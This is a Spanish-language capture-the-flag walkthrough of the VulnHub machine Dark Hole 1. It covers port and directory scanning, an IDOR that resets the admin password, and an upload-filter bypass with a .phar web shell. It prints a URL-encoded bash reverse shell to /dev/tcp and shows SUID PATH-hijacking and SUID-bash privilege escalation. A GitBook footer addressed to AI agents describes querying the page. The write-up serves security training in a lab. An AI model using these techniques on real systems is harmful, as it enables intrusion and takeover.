> For the complete documentation index, see [llms.txt](https://emeges.gitbook.io/emeges/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emeges.gitbook.io/emeges/vulnhub/dark-hole-1.md). # Dark Hole 1 En esta ocasión haremos la maquina Dark hole 1 de la plataforma Vulnhub de dificultad facil , la cual es fue divertida porque se toca varias vulnerabilidades.
## Reconocimiento \ Lanzamos un reconocimiento de puertos disponibles con `nmap -sS --min-rate 5000 -p- -Pn -n -oG allports`\ `donde :` * `-sS` envía paquetes SYN para iniciar una conexión TCP, pero no completa el handshake, lo que lo hace más sigiloso y rápido para detectar puertos abiertos. * \--min-rate 5000 Establece una tasa mínima de envio de 5000 paquetes por segundo , acelerando el escaneo , aunque en un entorno real aumenta la posibilidad de ser detectado. * -p- Hace escaneo a todos los puertos (65535) * -Pn Indica a nmap que no realice ping previo para detectar si el host está activo. * -n Evita la resolución DNS, es decir no intenta traducir las Ips a nombre de dominio , además acelera el escaneo. * -oG Guarda el resultado en formato grepable
* `22 SSH` 8.2 * `80 http 2.4.41`\ Ejecutamos una busqueda de directorios dentro de la web con gobuster\ `gobuster dir -u http://192.168.1.141/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 20 -x txt,php,html -o gobuster`
donde * dir especifica busqueda de directorio * -u parametro para poner la url victima * -w ruta de la wordlist para que haga la búsqueda * -t 20 que vaya a 20 hilos * -x que haga busqueda de archivo (txt,php,html * -o guardar el output *** ### Explotación Creamos un usuario y podemos ver lo siguiente
Al crear usuario notamos que en el browser tenemos un parametro `id=3` , podriamos deducir que el id 1 podría ser el usuario admin, entonces, usariamos la herramienta **Burp suite** para interceptar la petición y cambiar el id para cambiar la contraseña
Aqui vemos que para cambiar la password , se envía por POST los parámetros password=admin\&id=1 cambiamos el parámetro id y vemos que la contraseña se ha actualizado. *** Una vez cambiada la contraseña del usuario **admin** intentamos logearnos y encontramos que \ podemos subir archivos\ ​
Intentamos subir el siguiente archivo para poder lanzar comandos desde el browser
Intentamos subir nuestro **cmd.php** y nos lanza error que solo archivos **jpg,png y gif** son permitidos
Entonces vamos a ver si podemos interceptar con **Burp Suite** la subida para intentar bypassear la restricción
> El tipo de validación se da gracias a los magic numbers , son los primeros bites de un archivo , es la forma en la que la maquina sabe que tipo de archivo es, por eso se valida los primeros . En algunos casos con solo cambiar el **content-type: image/jpg** y añadiendo que tipo de archivo es como por ejemplo `GIF8;` En muchos casos se sanitiza que no se pueda utilizar extension .php , pero también existe .php2, php3, phtml , esto es prueba y error hasta que acepte la subida, otro dato es que luego el browser interprete el cmd, en este caso el exitoso fue la extensión **.phar** En la fase de reconocimiento con gobuster, habíamos encontrado la ruta **/upload/** vemos que fue exitoso la subida
Intentamos realizar un reverse shell con url encoded para poder conectarlos a la máquina victima \ `bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F``NUMEROIP``%2F``4444``%200%3E%261'`
### Escalada de privilegio Una vez dentro , la misión es escalar privilegio y llegar hasta el superusuario **(root)** lanzamos `find / -perm -4000 2>/dev/null` Aquí estamos buscando en toda la máquina ( **/** ) permiso (**-perm)** SUID (**-4000**) y los errores que no nos aparezca en el output ( **2>/dev/null** )
Ejecutamos el binario y vemos que lanza un **id**
Entonces intentaremos "secuestrar" el comando mediante la manipulación del PATH.El Path es una variable de entorno que define las rutas de búsquedas para los archivos ejecutables en el sistema.\ En algunos binarios compilados, algunos de los comandos definidos internamente pueden ser indicados con una **ruta relativa en lugar de una ruta absoluta**. Esto significa que el binario busca los archivos ejecutables en las rutas especificadas en el PATH, en lugar de utilizar la ruta absoluta del archivo ejecutable. Esta explotación se llama **Path Hijacking****.** Vamos a la carpeta /tmp/ y creamos nuestro binario llamado id , es necesario que se llame igual que el binario que queremos secuestrar y darle permisos con `chmod +x id`
Ya tenemos el primer paso del secuestro de binario , ahora queda poner en el path , la ruta que esta nuestro binario modificado `export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin`
ejecutamos el comando y logramos escalar de usuario con **john**
Ahora con usuario John nos fijamos que scripts podemos ejecutar como root con sudo -l , pero necesitamos la contraseña del usuario john , en /home/john/password vemos que hay una contraseña que tiene el contenido "**root123**"
``` import os os.system(chmod u+s /bin/bash") ```
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://emeges.gitbook.io/emeges/vulnhub/dark-hole-1.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.